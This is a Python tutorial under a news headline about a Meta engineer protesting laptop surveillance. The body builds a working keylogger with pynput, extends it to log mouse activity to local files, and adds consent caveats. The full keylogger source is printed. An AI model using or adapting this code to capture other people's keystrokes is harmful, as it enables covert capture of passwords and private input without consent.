An Engineer’s Post Protesting Laptop Surveillance Is Going Viral Inside Meta

Introduction

In this tutorial, you'll learn how to create a simple computer activity monitoring tool that tracks keystrokes and mouse movements. This is a practical demonstration of the technology that's causing concern among Meta employees. We'll build a basic version using Python that can help you understand how such surveillance systems work, while also teaching you important concepts about computer security and privacy.

Prerequisites

• A computer running Windows, macOS, or Linux
• Python 3.6 or higher installed on your system
• Basic understanding of how computers work
• Access to a terminal or command prompt

Step-by-Step Instructions

Step 1: Setting Up Your Python Environment

Before we start coding, we need to make sure we have the right tools installed. First, check if Python is installed on your system by opening a terminal or command prompt and typing:

python --version

If Python is installed, you'll see a version number. If not, download and install Python from python.org. We'll be using the pynput library, which is a Python library for monitoring and controlling input devices.

Step 2: Installing Required Libraries

Open your terminal or command prompt and run this command to install the pynput library:

pip install pynput

This library allows us to listen to keyboard and mouse events on your computer. It's important to understand that this same technology can be used for legitimate purposes like accessibility tools, but also for surveillance, which is why it's important to know how it works.

Step 3: Creating the Basic Keylogger

Now we'll create a simple script that monitors keystrokes. Create a new file called keylogger.py and add this code:

from pynput import keyboard
import datetime

# This will store all the keystrokes
log_file = "keylog.txt"

# Function to handle key presses

def on_press(key):
    try:
        # Log regular characters
        with open(log_file, "a") as f:
            f.write(f"{datetime.datetime.now()}: {key.char}\n")
    except AttributeError:
        # Handle special keys like space, enter, etc.
        with open(log_file, "a") as f:
            f.write(f"{datetime.datetime.now()}: [{key}]\n")

# Function to handle key releases

def on_release(key):
    # Stop listener when ESC is pressed
    if key == keyboard.Key.esc:
        return False

# Start listening for key presses
print("Starting keylogger. Press ESC to stop.")
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Step 4: Running Your Keylogger

Save your file and run it from the terminal using:

python keylogger.py

Now, as you type, the program will record your keystrokes in a file called keylog.txt. This demonstrates how surveillance software can capture user activity.

Step 5: Adding Mouse Tracking

Let's enhance our tool to also track mouse movements. Replace the content of your keylogger.py file with this updated version:

from pynput import keyboard, mouse
import datetime

# Files to store logs
keylog_file = "keylog.txt"
mouselog_file = "mouselog.txt"

# Function to handle key presses

def on_key_press(key):
    try:
        with open(keylog_file, "a") as f:
            f.write(f"{datetime.datetime.now()}: {key.char}\n")
    except AttributeError:
        with open(keylog_file, "a") as f:
            f.write(f"{datetime.datetime.now()}: [{key}]\n")

# Function to handle mouse movements

def on_move(x, y):
    with open(mouselog_file, "a") as f:
        f.write(f"{datetime.datetime.now()}: Mouse moved to ({x}, {y})\n")

# Function to handle mouse clicks

def on_click(x, y, button, pressed):
    if pressed:
        with open(mouselog_file, "a") as f:
            f.write(f"{datetime.datetime.now()}: Mouse clicked at ({x}, {y}) on {button}\n")

# Function to handle mouse scrolls

def on_scroll(x, y, dx, dy):
    with open(mouselog_file, "a") as f:
        f.write(f"{datetime.datetime.now()}: Mouse scrolled at ({x}, {y}) by ({dx}, {dy})\n")

# Function to handle key releases

def on_key_release(key):
    if key == keyboard.Key.esc:
        return False

# Start listening
print("Starting monitoring tool. Press ESC to stop.")

# Start keyboard listener
key_listener = keyboard.Listener(on_press=on_key_press, on_release=on_key_release)
key_listener.start()

# Start mouse listener
mouse_listener = mouse.Listener(on_move=on_move, on_click=on_click, on_scroll=on_scroll)
mouse_listener.start()

# Wait for both listeners to finish
key_listener.join()
mouse_listener.join()

Step 6: Understanding What You've Built

This tool demonstrates how surveillance systems work by:

• Listening to every key press on your keyboard
• Recording mouse movements and clicks
• Timestamping all activities
• Writing logs to files for later analysis

While this is educational, it's crucial to understand that using such tools on other people's computers without their explicit consent is illegal and unethical.

Step 7: Testing Your Tool

Run your updated script and try typing some text and moving your mouse. Check the two log files that are created:

• keylog.txt - Contains all your keystrokes
• mouselog.txt - Contains all mouse activity

This gives you a practical understanding of how corporate surveillance tools might work.

Step 8: Ethical Considerations

Understanding how these tools work is important for several reasons:

1. Privacy Awareness: Knowing how surveillance works helps you protect your own data
2. Security Education: This knowledge helps you understand potential security risks
3. Ethical Use: These tools should only be used for legitimate purposes like personal security or accessibility

Always remember that any monitoring should be done with explicit consent and within legal boundaries.

Summary

In this tutorial, you've learned how to create a basic computer activity monitoring tool using Python. You've built a system that can track keystrokes and mouse movements, demonstrating the technology that's being used in corporate environments. This knowledge is important for understanding digital privacy and security concepts. Remember that while such tools can be educational and useful for legitimate purposes, they should never be used to spy on others without their consent. Always prioritize ethical practices and respect for privacy when working with any monitoring technology.